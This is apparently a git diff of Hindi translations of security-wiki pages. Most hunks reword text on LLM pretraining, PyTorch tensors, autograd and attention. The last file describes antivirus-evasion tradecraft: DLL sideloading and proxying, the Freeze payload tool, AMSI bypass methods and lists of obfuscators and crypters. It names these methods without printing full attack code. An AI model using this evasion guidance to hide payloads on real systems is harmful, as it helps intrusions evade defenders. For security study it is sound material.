Pretraining एक बुनियादी चरण है जिसमें एक बड़े भाषा मॉडल (LLM) को विशाल और विविध मात्रा में पाठ डेटा के संपर्क में लाया जाता है। इस चरण के दौरान, **LLM भाषा की बुनियादी संरचनाओं, पैटर्नों और बारीकियों को सीखता है**, जिसमें व्याकरण, शब्दावली, वाक्यविन्यास और संदर्भ संबंध शामिल हैं। इस व्यापक डेटा को संसाधित करके, मॉडल भाषा और सामान्य विश्व ज्ञान की एक विस्तृत समझ प्राप्त करता है। यह व्यापक आधार LLM को सुसंगत और संदर्भ में प्रासंगिक पाठ उत्पन्न करने में सक्षम बनाता है। इसके बाद, यह पूर्व-प्रशिक्षित मॉडल फाइन-ट्यूनिंग के लिए जा सकता है, जहां इसे विशिष्ट कार्यों या क्षेत्रों के लिए अपनी क्षमताओं को अनुकूलित करने के लिए विशेष डेटा सेट पर और प्रशिक्षित किया जाता है, जिससे इसके प्रदर्शन और लक्षित अनुप्रयोगों में प्रासंगिकता में सुधार होता है।
Pretraining एक बुनियादी चरण है जिसमें एक बड़े भाषा मॉडल (LLM) को विशाल और विविध मात्रा में पाठ डेटा के संपर्क में लाया जाता है। इस चरण के दौरान, **LLM भाषा की बुनियादी संरचनाओं, पैटर्नों और बारीकियों को सीखता है**, जिसमें व्याकरण, शब्दावली, वाक्य रचना और संदर्भ संबंध शामिल हैं। इस व्यापक डेटा को संसाधित करके, मॉडल भाषा और सामान्य विश्व ज्ञान की एक विस्तृत समझ प्राप्त करता है। यह व्यापक आधार LLM को सुसंगत और संदर्भ में प्रासंगिक पाठ उत्पन्न करने में सक्षम बनाता है। इसके बाद, यह पूर्व-प्रशिक्षित मॉडल विशेष कार्यों या क्षेत्रों के लिए अपनी क्षमताओं को अनुकूलित करने के लिए विशेष डेटासेट पर और प्रशिक्षण प्राप्त कर सकता है, जिससे इसके प्रदर्शन और लक्षित अनुप्रयोगों में प्रासंगिकता में सुधार होता है।
## Main LLM components
@ -30,24 +30,24 @@ GPT_CONFIG_124M = {
```
## Tensors in PyTorch
In PyTorch, a **tensor** एक मौलिक डेटा संरचना है जो एक बहु-आयामी सरणी के रूप में कार्य करती है, जो स्केलर, वेक्टर और मैट्रिस जैसे अवधारणाओं को संभावित रूप से उच्च आयामों में सामान्यीकृत करती है। टेन्सर वह प्राथमिक तरीका है जिससे डेटा को PyTorch में दर्शाया और हेरफेर किया जाता है, विशेष रूप से गहरे शिक्षण और न्यूरल नेटवर्क के संदर्भ में।
In PyTorch, a **tensor** एक मौलिक डेटा संरचना है जो एक बहु-आयामी सरणी के रूप में कार्य करती है, जो स्केलर, वेक्टर और मैट्रिस जैसे अवधारणाओं को संभावित रूप से उच्च आयामों में सामान्यीकृत करती है। टेन्सर PyTorch में डेटा का प्रतिनिधित्व और हेरफेर करने का प्राथमिक तरीका हैं, विशेष रूप से गहरे शिक्षण और न्यूरल नेटवर्क के संदर्भ में।
### Mathematical Concept of Tensors
* **Scalars**: रैंक 0 के टेन्सर, जो एकल संख्या का प्रतिनिधित्व करते हैं (शून्य-आयामी)। जैसे: 5
* **Vectors**: रैंक 1 के टेन्सर, जो संख्याओं क एक-आयामी सरणी का प्रतिनिधित्व करते हैं। जैसे: \[5,1]
* **Vectors**: रैंक 1 के टेन्सर, जो संख्याओं क एक-आयामी सरणी का प्रतिनिधित्व करते हैं। जैसे: \[5,1]
* **Matrices**: रैंक 2 के टेन्सर, जो पंक्तियों और स्तंभों के साथ दो-आयामी सरणियों का प्रतिनिधित्व करते हैं। जैसे: \[\[1,3], \[5,2]]
* **Higher-Rank Tensors**: रैंक 3 या अधिक के टेन्सर, जो उच्च आयामों में डेटा का प्रतिनिधित्व करते हैं (जैसे, रंगीन छवियों के लिए 3D टेन्सर)।
### Tensors as Data Containers
गणनात्मक दृष्टिकोण से, टेन्सर बहु-आयामी डेटा के लिए कंटेनर के रूप में कार्य करते हैं, जहाँ प्रत्येक आयाम डेटा के विभिन्न विशेषताओं या पहलुओं का प्रतिनिधित्व कर सकता है। यह टेन्सरों को मशीन लर्निंग कार्यों में जटिल डेटा सेट को संभालने के लिए अत्यधिक उपयुक्त बनाता है।
संगणनात्मक दृष्टिकोण से, टेन्सर बहु-आयामी डेटा के लिए कंटेनर के रूप में कार्य करते हैं, जहाँ प्रत्येक आयाम डेटा के विभिन्न विशेषताओं या पहलुओं का प्रतिनिधित्व कर सकता है। यह टेन्सरों को मशीन लर्निंग कार्यों में जटिल डेटा सेट को संभालने के लिए अत्यधिक उपयुक्त बनाता है।
### PyTorch Tensors vs. NumPy Arrays
हालांकि PyTorch टेन्सर अपने संख्यात्मक डेटा को स्टोर और हेरफेर करने की क्षमता में NumPy सरणियों के समान हैं, वे गहरे शिक्षण के लिए महत्वपूर्ण अतिरिक्त कार्यक्षमताएँ प्रदान करते हैं:
* **Automatic Differentiation**: PyTorch टेन्सर स्वचालित रूप से ग्रेडिएंट्स (autograd) की गणना का समर्थन करते हैं, जो न्यूरल नेटवर्क को प्रशिक्षित करने के लिए आवश्यक व्युत्क्रम की गणना की प्रक्रिया को सरल बनाता है।
* **Automatic Differentiation**: PyTorch टेन्सर स्वचालित रूप से ग्रेडिएंट्स (autograd) की गणना का समर्थन करते हैं, जो न्यूरल नेटवर्क को प्रशिक्षित करने के लिए आवश्यक व्युत्पत्तियों की गणना की प्रक्रिया को सरल बनाता है।
* **GPU Acceleration**: PyTorch में टेन्सरों को GPUs पर स्थानांतरित और गणना की जा सकती है, जो बड़े पैमाने पर गणनाओं को काफी तेज़ी से करता है।
### Creating Tensors in PyTorch
@ -79,7 +79,7 @@ PyTorch टेन्सर विभिन्न प्रकार के ड
tensor1d = torch.tensor([1, 2, 3])
print(tensor1d.dtype) # Output: torch.int64
```
* Python पूर्णां से बनाए गए टेन्सर का प्रकार `torch.int64` है।
* Python पूर्णांकों से बनाए गए टेन्सर का प्रकार `torch.int64` है।
* Python फ्लोट्स से बनाए गए टेन्सर का प्रकार `torch.float32` है।
टेन्सर के डेटा प्रकार को बदलने के लिए, `.to()` विधि का उपयोग करें:
@ -122,7 +122,7 @@ result = tensor2d @ tensor2d.T
## स्वचालित विभेदन
स्वचालित विभेदन (AD) एक गणनात्मक तकनीक है जिसका उपयोग **कार्यात्मक (ग्रेडिएंट्स)** के व्युत्पत्तियों का मूल्यांकन कुशलता और सटीकता से करने के लिए किया जाता है। न्यूरल नेटवर्क के संदर्भ में, AD अनुकूलन एल्गोरिदम जैसे **ग्रेडिएंट डिसेंट** के लिए आवश्यक ग्रेडिएंट्स की गणना को सक्षम करता है। PyTorch एक स्वचालित विभेदन इंजन प्रदान करता है जिसे **ऑटोग्रेड** कहा जाता है जो इस प्रक्रिया को सरल बनाता है।
स्वचालित विभेदन (AD) एक गणनात्मक तकनीक है जिसका उपयोग **कार्यात्मक (ग्रेडिएंट्स)** के व्युत्पत्तियों का प्रभावी और सटीक मूल्यांकन करने के लिए किया जाता है। न्यूरल नेटवर्क के संदर्भ में, AD **ग्रेडिएंट्स की गणना** की अनुमति देता है जो **अनुकूलन एल्गोरिदम जैसे ग्रेडिएंट डिसेंट** के लिए आवश्यक है। PyTorch एक स्वचालित विभेदन इंजन प्रदान करता है जिसे **ऑटोग्रेड** कहा जाता है जो इस प्रक्रिया को सरल बनाता है।
### स्वचालित विभेदन का गणितीय स्पष्टीकरण
@ -132,17 +132,17 @@ result = tensor2d @ tensor2d.T
गणितीय रूप से, यदि `y=f(u)` और `u=g(x)` है, तो `y` का `x` के सापेक्ष व्युत्पत्ति है:
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. गणनात्मक ग्राफ**
AD में, गणनाएँ **गणनात्मक ग्राफ** में नोड्स के रूप में प्रदर्शित की जाती हैं, जहाँ प्रत्येक नोड एक संचालन या एक चर के लिए होता है। इस ग्राफ को पार करके, हम व्युत्पत्तियों की गणना कुशलता से कर सकते हैं।
AD में, गणनाएँ **गणनात्मक ग्राफ** में नोड्स के रूप में प्रदर्शित की जाती हैं, जहाँ प्रत्येक नोड एक संचालन या एक चर के लिए होता है। इस ग्राफ को पार करके, हम प्रभावी ढंग से व्युत्पत्तियों की गणना कर सकते हैं।
3. उदाहरण
आइए एक सरल कार्य पर विचार करें:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
जहाँ:
@ -150,7 +150,7 @@ AD में, गणनाएँ **गणनात्मक ग्राफ**
* `y=1.0` लक्ष्य लेबल है।
* `L` हानि है।
हम हानि `L`े ग्रेडिएंट को वेट `w` और बायस `b` के सापेक्ष गणना करना चाहते हैं।
हम हानि `L`ा ग्रेडिएंट वेट `w` और बायस `b` के सापेक्ष गणना करना चाहते हैं।
**4. मैन्युअल रूप से ग्रेडिएंट्स की गणना करना**
@ -198,7 +198,7 @@ Gradient w.r.t b: tensor([-0.0817])
बड़े न्यूरल नेटवर्क में कई परतों के साथ, ग्रेडिएंट्स की गणना की प्रक्रिया अधिक जटिल हो जाती है क्योंकि पैरामीटर और ऑपरेशनों की संख्या बढ़ जाती है। हालाँकि, मौलिक सिद्धांत वही रहते हैं:
* **Forward Pass:** प्रत्येक परत के माध्यम से इनपुट पास करके नेटवर्क का आउटपुट गणना करें।
* **Forward Pass:** प्रत्येक परत के माध्यम से इनपुट पास करके नेटवर्क का आउटपुट निकालें।
* **Compute Loss:** नेटवर्क के आउटपुट और लक्ष्य लेबल का उपयोग करके लॉस फ़ंक्शन का मूल्यांकन करें।
* **Backward Pass (Backpropagation):** आउटपुट परत से इनपुट परत तक श्रृंखला नियम को पुनरावृत्त करते हुए नेटवर्क में प्रत्येक पैरामीटर के सापेक्ष लॉस के ग्रेडिएंट्स की गणना करें।
@ -264,7 +264,7 @@ print(f"Gradient of {name}: {param.grad}")
In this code:
* **Forward Pass:** नेटवर्क के आउटपुट की गणना करता है।
* **Backward Pass:** `loss.backward()` सभी पैरामीटर के सापेक्ष हानि के ग्रेडिएंट की गणना करता है।
* **Backward Pass:** `loss.backward()` हानि के ग्रेडिएंट की गणना करता है सभी पैरामीटर के सापेक्ष
* **Parameter Update:** `optimizer.step()` गणना किए गए ग्रेडिएंट के आधार पर पैरामीटर को अपडेट करता है।
### **5. Understanding Backward Pass**
@ -273,7 +273,7 @@ Backward pass के दौरान:
* PyTorch गणनात्मक ग्राफ को उल्टे क्रम में पार करता है।
* प्रत्येक ऑपरेशन के लिए, यह ग्रेडिएंट की गणना करने के लिए चेन नियम लागू करता है।
* ग्रेडिएंट प्रत्येक पैरामीटर टेन्सर के `.grad` विशेषता में संचित होते हैं
* ग्रेडिएंट को प्रत्येक पैरामीटर टेन्सर के `.grad` विशेषता में संचित किया जाता है
### **6. Advantages of Automatic Differentiation**

View file

@ -5,7 +5,7 @@
Attention mechanisms allow neural networks to f**ocus on specific parts of the input when generating each part of the output**. They assign different weights to different inputs, helping the model decide which inputs are most relevant to the task at hand. This is crucial in tasks like machine translation, where understanding the context of the entire sentence is necessary for accurate translation.
{% hint style="success" %}
इस चौथे चरण का लक्ष्य बहुत सरल है: **कुछ ध्यान तंत्र लागू करें**। ये बहुत सारे **दोहराए गए परतें** होने जा रहे हैं जो **शब्द के शब्दावली में उसके पड़ोसियों के साथ संबंध को कैप्चर करेंगे जो LLM को प्रशिक्षित करने के लिए वर्तमान वाक्य में उपयोग किया जा रहा है**।\
इस चौथे चरण का लक्ष्य बहुत सरल है: **कुछ ध्यान तंत्र लागू करें**। ये बहुत सारे **दोहराए गए परतें** होने जा रहे हैं जो **शब्द के शब्दावली के संबंध को वर्तमान वाक्य में उसके पड़ोसियों के साथ कैप्चर करेंगे जिसका उपय LLM को प्रशिक्षित करने के लिए किया जा रहा है**।\
इसके लिए बहुत सारी परतें उपयोग की जाती हैं, इसलिए बहुत सारे प्रशिक्षित करने योग्य पैरामीटर इस जानकारी को कैप्चर करने जा रहे हैं।
{% endhint %}
@ -25,7 +25,7 @@ Self-attention, or intra-attention, is a mechanism where attention is applied wi
* **Tokens**: इनपुट अनुक्रम के व्यक्तिगत तत्व (जैसे, वाक्य में शब्द)।
* **Embeddings**: टोकनों के वेक्टर प्रतिनिधित्व, जो अर्थ संबंधी जानकारी को कैप्चर करते हैं।
* **Attention Weights**: मान जो यह निर्धारित करते हैं कि प्रत्येक टोकन अन्य टोकनों के सापेक्ष कितना महत्वपूर्ण है।
* **Attention Weights**: मान जो यह निर्धारित करते हैं कि प्रत्येक टोकन अन्य टोकनों की तुलना में कितना महत्वपूर्ण है।
### Calculating Attention Weights: A Step-by-Step Example
@ -51,7 +51,7 @@ For each word in the sentence, compute the **attention score** with respect to "
**Attention Score between "shiny" and "shiny"**
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Attention Score between "sun" and "shiny"**
@ -62,7 +62,7 @@ For each word in the sentence, compute the **attention score** with respect to "
{% hint style="success" %}
गणितीय शर्तों में खो न जाएं, इस फ़ंक्शन का लक्ष्य सरल है, सभी वज़नों को सामान्यीकृत करें ताकि **वे कुल मिलाकर 1 हों**
इसके अलावा, **softmax** फ़ंक्शन का उपयोग किया जाता है क्योंकि यह गुणात्मक भाग के कारण भिन्नताओं को बढ़ाता है, जिससे उपयोगी मानों का पता लगाना आसान हो जाता है।
इसके अलावा, **softmax** फ़ंक्शन का उपयोग किया जाता है क्योंकि यह गुणात्मक भाग के कारण भिन्नताओं को बढ़ाता है, उपयोगी मानों का पता लगाना आसान बनाता है।
{% endhint %}
Apply the **softmax function** to the attention scores to convert them into attention weights that sum to 1.
@ -84,7 +84,7 @@ Calculating attention weights:
#### Step 3: Compute the Context Vector
{% hint style="success" %}
बस प्रत्येक ध्यान वजन को संबंधित टोकन आयामों से गुणा करें और फिर सभी आयामों को जोड़ें ताकि केवल 1 वेक्टर (संदर्भ वेक्टर) प्राप्त हो सके
बस प्रत्येक ध्यान वजन को संबंधित टोकन आयामों से गुणा करें और फिर सभी आयामों को जोड़ें ताकि केवल 1 वेक्टर (संदर्भ वेक्टर) प्राप्त हो सके&#x20;
{% endhint %}
The **context vector** is computed as the weighted sum of the embeddings of all words, using the attention weights.
@ -149,7 +149,7 @@ W_query = nn.Parameter(torch.rand(d_in, d_out))
W_key = nn.Parameter(torch.rand(d_in, d_out))
W_value = nn.Parameter(torch.rand(d_in, d_out))
```
क्वेरी, की और वैल्यू की गणना करें:
क्वेरी, की, और वैल्यू की गणना करें:
```python
queries = torch.matmul(inputs, W_query)
keys = torch.matmul(inputs, W_key)
@ -230,7 +230,7 @@ print(sa_v2(inputs))
## कारणात्मक ध्यान: भविष्य के शब्दों को छिपाना
LLMs के लिए हम चाहते हैं कि मॉडल केवल उन टोकनों पर विचार करे जो वर्तमान स्थिति से पहले प्रकट होते हैं ताकि **अगले टोकन** की **भविष्यवाणी** की जा सके। **कारणात्मक ध्यान**, जिसे **मास्क किया गया ध्यान** भी कहा जाता है, इसे ध्यान तंत्र को संशोधित करके प्राप्त किया जाता है ताकि भविष्य के टोकनों तक पहुंच को रोका जा सके।
LLMs के लिए हम चाहते हैं कि मॉडल केवल उन टोकनों पर विचार करे जो वर्तमान स्थिति से पहले प्रकट होते हैं ताकि **अगले टोकन** की **भविष्यवाणी** की जा सके। **कारणात्मक ध्यान**, जिसे **मास्क किया गया ध्यान** भी कहा जाता है, इसे ध्यान तंत्र को संशोधित करके प्राप्त कता है ताकि भविष्य के टोकनों तक पहुंच को रोका जा सके।
### कारणात्मक ध्यान मास्क लागू करना
@ -258,7 +258,7 @@ attention_weights = torch.softmax(masked_scores, dim=-1)
dropout = nn.Dropout(p=0.5)
attention_weights = dropout(attention_weights)
```
एक नियमित ड्रॉपआउट लगभग 10-20% होता है।
एक नियमित ड्रॉपआउट लगभग 10-20% है।
### Code Example
@ -326,11 +326,11 @@ print("context_vecs.shape:", context_vecs.shape)
```
## एकल-हेड ध्यान को बहु-हेड ध्यान में विस्तारित करना
**बहु-हेड ध्यान** व्यावहारिक रूप से आत्म-ध्यान कार्य के **कई उदाहरणों** को निष्पादित करने पर आधारित है, प्रत्येक के **अपने वजन** होते हैं ताकि विभिन्न अंतिम वेक्टर की गणना की जा सके।
**बहु-हेड ध्यान** व्यावहारिक रूप से आत्म-ध्यान फ़ंक्शन के **कई उदाहरणों** को निष्पादित करने पर आधारित है, प्रत्येक के **अपने वजन** होते हैं ताकि विभिन्न अंतिम वेक्टर की गणना की जा सके।
### कोड उदाहरण
पिछले कोड का पुन: उपयोग करना संभव हो सकता है और बस एक लपेटन जोड़ना जो इसे कई बार लॉन्च करता है, लेकिन यह [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) से एक अधिक अनुकूलित संस्करण है जो सभी सिरों को एक साथ संसाधित करता है (महंगे फॉर लूप की संख्या को कम करता है)। जैसा कि आप कोड में देख सकते हैं, प्रत्येक टोकन के आयामों को सिरों की संख्या के अनुसार विभिन्न आयामों में विभाजित किया गया है। इस तरह, यदि टोकन के 8 आयाम हैं और हम 3 सिरों का उपयोग करना चाहते हैं, तो आयामों को 4 आयामों के 2 ऐरे में विभाजित किया जाएगा और प्रत्येक सिर उनमें से एक का उपयोग करेगा:
पिछले कोड का पुन: उपयोग करना और बस एक रैपर जोड़ना जो इसे कई बार लॉन्च करता है, संभव हो सकता है, लेकिन यह [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) से एक अधिक अनुकूलित संस्करण है जो सभी सिरों को एक साथ संसाधित करता है (महंगे फॉर लूप की संख्या को कम करता है)। जैसा कि आप कोड में देख सकते हैं, प्रत्येक टोकन के आयामों को सिरों की संख्या के अनुसार विभिन्न आयामों में विभाजित किया गया है। इस तरह, यदि टोकन के 8 आयाम हैं और हम 3 सिरों का उपयोग करना चाहते हैं, तो आयामों को 4 आयामों के 2 ऐरे में विभाजित किया जाएगा और प्रत्येक सिर उनमें से एक का उपयोग करेगा:
```python
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
@ -104,7 +104,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
मैं अत्यधिक अनुशंसा करता हूँ कि आप **DLL हाइजैक करने योग्य/साइडलोड करने योग्य प्रोग्रामों का स्वयं अन्वेषण करें**, यह तकनीक सही तरीके से की गई तो काफी छिपी हुई होती है, लेकिन यदि आप सार्वजनिक रूप से ज्ञात DLL साइडलोड करने योग्य प्रोग्रामों का उपयोग करते हैं, तो आप आसानी से पकड़े जा सकते हैं।
बस एक दुर्भावनापूर्ण DLL को उस नाम के साथ रखने से जो एक प्रोग्राम लोड करने की अपेक्षा करता है, आपका पेलोड लोड नहीं होगा, क्योंकि प्रोग्राम उस DLL के अंदर कुछ विशिष्ट कार्यों की अपेक्षा करता है, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL प्रॉक्सींग/फॉरवर्डिंग** कहा जाता है।
बस एक दुर्भावनापूर्ण DLL को उस नाम के साथ रखने से जो एक प्रोग्राम लोड करने की उम्मीद करता है, आपका पेलोड लोड नहीं होगा, क्योंकि प्रोग्राम उस DLL के अंदर कुछ विशिष्ट कार्यों की अपेक्षा करता है, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL प्रॉक्सींग/फॉरवर्डिंग** कहा जाता है।
**DLL प्रॉक्सींग** प्रोग्राम द्वारा प्रॉक्सी (और दुर्भावनापूर्ण) DLL से मूल DLL को किए गए कॉल को आगे बढ़ाता है, इस प्रकार प्रोग्राम की कार्यक्षमता को बनाए रखते हुए आपके पेलोड के निष्पादन को संभालने में सक्षम होता है।
@ -140,7 +140,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
मैं **गंभीरता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t का ट्विच VOD](https://www.twitch.tv/videos/1644171543) DLL Sideloading के बारे में देखें और साथ ही [ippsec का वीडियो](https://www.youtube.com/watch?v=3eROsG\_WNpE) देखें ताकि आप जो हमने गहराई से चर्चा की है, उसके बारे में और अधिक जान सकें।
मैं **गंभीरता से सिफारिश** करता हूँ कि आप [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL Sideloading के बारे में देखें और साथ ही [ippsec का वीडियो](https://www.youtube.com/watch?v=3eROsG\_WNpE) देखें ताकि आप जो हमने गहराई से चर्चा की है, उसके बारे में और अधिक जान सकें।
{% endhint %}
## [**Freeze**](https://github.com/optiv/Freeze)
@ -157,12 +157,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
निष्क्रमण केवल एक बिल्ली और चूहा खेल है, जो आज काम करता है वह कल पता लगाया जा सकता है, इसलिए कभी भी केवल एक उपकरण पर भरोसा न करें, यदि संभव हो, तो कई निष्क्रमण तकनीकों को जोड़ने की कोशिश करें।
निष्क्रमण केवल एक बिल्ली और चूहा खेल है, जो आज काम करता है वह कल पता लगाया जा सकता है, इसलिए केवल एक उपकरण पर भरोसा न करें, यदि संभव हो, तो कई निष्क्रमण तकनीकों को जोड़ने की कोशिश करें।
{% endhint %}
## AMSI (एंटी-मैलवेयर स्कैन इंटरफेस)
AMSI "[फाइललेस मैलवेयर](https://en.wikipedia.org/wiki/Fileless\_malware)" को रोकने के लिए बनाया गया था। प्रारंभ में, AV केवल **डिस्क पर फ़ाइलों** को स्कैन करने में सक्षम थे, इसलिए यदि आप किसी तरह **प्रत्यक्ष रूप से मेमोरी में** पेलोड निष्पादित कर सकते थे, तो AV इसे रोकने के लिए कुछ नहीं कर सकता था, क्योंकि इसके पास पर्याप्त दृश्यता नहीं थी।
AMSI "[फाइललेस मैलवेयर](https://en.wikipedia.org/wiki/Fileless\_malware)" को रोकने के लिए बनाया गया था। प्रारंभ में, AV केवल **डिस्क पर फ़ाइलों** को स्कैन करने में सक्षम थे, इसलिए यदि आप किसी तरह **ीधे मेमोरी में** पेलोड निष्पादित कर सकते थे, तो AV इसे रोकने के लिए कुछ नहीं कर सकता था, क्योंकि इसके पास पर्याप्त दृश्यता नहीं थी।
AMSI सुविधा Windows के इन घटकों में एकीकृत है।
@ -188,11 +188,11 @@ AMSI को बायपास करने के कुछ तरीके ह
चूंकि AMSI मुख्य रूप से स्थिर पहचान के साथ काम करता है, इसलिए, आप जो स्क्रिप्ट लोड करने की कोशिश कर रहे हैं, उन्हें संशोधित करना पहचान से बचने का एक अच्छा तरीका हो सकता है।
हालांकि, AMSI के पास स्क्रिप्ट को अस्पष्ट करने की क्षमता है, भले ही इसमें कई परतें हों, इसलिए अस्पष्टता एक बुरा विकल्प हो सकता है, यह इस बात पर निर्भर करता है कि इसे कैसे किया गया है। यह इसे बायपास करना इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको केवल कुछ चर के नाम बदलने की आवश्यकता होती है और आप ठीक हो जाएंगे, इसलिए यह इस बात पर निर्भर करता है कि कुछ कितना झंडा उठाया गया है।
हालांकि, AMSI के पास स्क्रिप्ट को अस्पष्ट करने की क्षमता है, भले ही इसमें कई परतें हों, इसलिए अस्पष्टता एक बुरा विकल्प हो सकता है, यह इस बात पर निर्भर करता है कि इसे कैसे किया गया है। यह इसे बायपास करना इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको केवल कुछ चर के नाम बदलने की आवश्यकता होती है और आप ठीक हो जाएंगे, इसलिए यह इस बात पर निर्भर करता है कि कुछ कितना झंडा लगाया गया है।
* **AMSI बायपास**
चूंकि AMSI को powershell (साथ ही cscript.exe, wscript.exe, आदि) प्रक्रिया में एक DLL लोड करके लागू किया गया है, इसलिए इसे आसानी से छेड़छाड़ करना संभव है, भले ही एक अप्रिविलेज्ड उपयोगकर्ता के रूप में चलाया जाए। AMSI के कार्यान्वयन में इस दोष के कारण, शोधकर्ताओं ने AMSI स्कैनिंग से बचने के कई तरीके खोजे हैं।
चूंकि AMSI को PowerShell (साथ ही cscript.exe, wscript.exe, आदि) प्रक्रिया में एक DLL लोड करके लागू किया गया है, इसलिए इसे आसानी से छेड़छाड़ करना संभव है, भले ही एक अप्रिविलेज्ड उपयोगकर्ता के रूप में चलाया जाए। AMSI के कार्यान्वयन में इस दोष के कारण, शोधकर्ताओं ने AMSI स्कैनिंग से बचने के कई तरीके खोजे हैं।
**एक त्रुटि को मजबूर करना**
@ -230,9 +230,9 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
कृपया अधिक विस्तृत व्याख्या के लिए [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) पढ़ें।
{% endhint %}
AMSI को powershell के साथ बायपास करने के लिए कई अन्य तकनीकें भी हैं, उनके बारे में अधिक जानने के लिए [**इस पृष्ठ**](basic-powershell-for-pentesters/#amsi-bypass) और [इस repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) पर जाएं।
AMSI को powershell के साथ बायपास करने के लिए कई अन्य तकनीकें भी हैं, उनके बारे में अधिक जानने के लिए [**इस पृष्ठ**](basic-powershell-for-pentesters/#amsi-bypass) और [इस रिपॉजिटरी](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) पर जाएं।
या यह स्क्रिप्ट जो मेमोरी पैचिंग के माध्यम से प्रत्येक नए Powersh को पैच करेगी
या यह स्क्रिप्ट जो मेमोरी पैचिंग के माध्यम से प्रत्येक नए Powersh को पैच करेगी
## Obfuscation
@ -240,13 +240,13 @@ AMSI को powershell के साथ बायपास करने के
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# अस्पष्टता उपकरण**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस परियोजना का उद्देश्य [LLVM](http://www.llvm.org/) संकलन सूट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड अस्पष्टता](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) और टेम्पर-प्रूफिंग के माध्यम से सॉफ़्टवेयर सुरक्षा बढ़ा सके।
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator यह प्रदर्शित करता है कि `C++11/14` भाषा का उपयोग करके, संकलन के समय, बिना किसी बाहरी उपकरण का उपयोग किए और संकलक को संशोधित किए बिना, अस्पष्ट कोड कैसे उत्पन्न किया जाए।
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दिखाता है कि `C++11/14` भाषा का उपयोग करके, संकलन के समय, बिना किसी बाहरी उपकरण का उपयोग किए और बिना संकलक को संशोधित किए, अस्पष्ट कोड कैसे उत्पन्न किया जाए।
* [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग ढांचे द्वारा उत्पन्न अस्पष्ट संचालन की एक परत जोड़ें जो एप्लिकेशन को क्रैक करने की कोशिश कर रहे व्यक्ति के लिए जीवन को थोड़ा कठिन बना देगी।
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी अस्पष्टता उपकरण है जो विभिन्न प्रकार की pe फ़ाइलों को अस्पष्ट करने में सक्षम है जिसमें: .exe, .dll, .sys शामिल हैं
* [**metame**](https://github.com/a0rtega/metame): Metame मनमाने निष्पादन योग्य के लिए एक सरल मेटामॉर्फिक कोड इंजन है।
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करके LLVM-समर्थित भाषाओं के लिए एक बारीक कोड अस्पष्टता ढांचा है। ROPfuscator एक कार्यक्रम को असेंबली कोड स्तर पर अस्पष्ट करता है, नियमित निर्देशों को ROP श्रृंखलाओं में परिवर्तित करके, हमारे सामान्य नियंत्रण प्रवाह की धारणा को विफल करता है।
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE क्रिप्टर है जो Nim में लिखा गया है
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को शेलकोड में परिवर्तित करने और फिर उन्हें लोड करने में सक्षम है
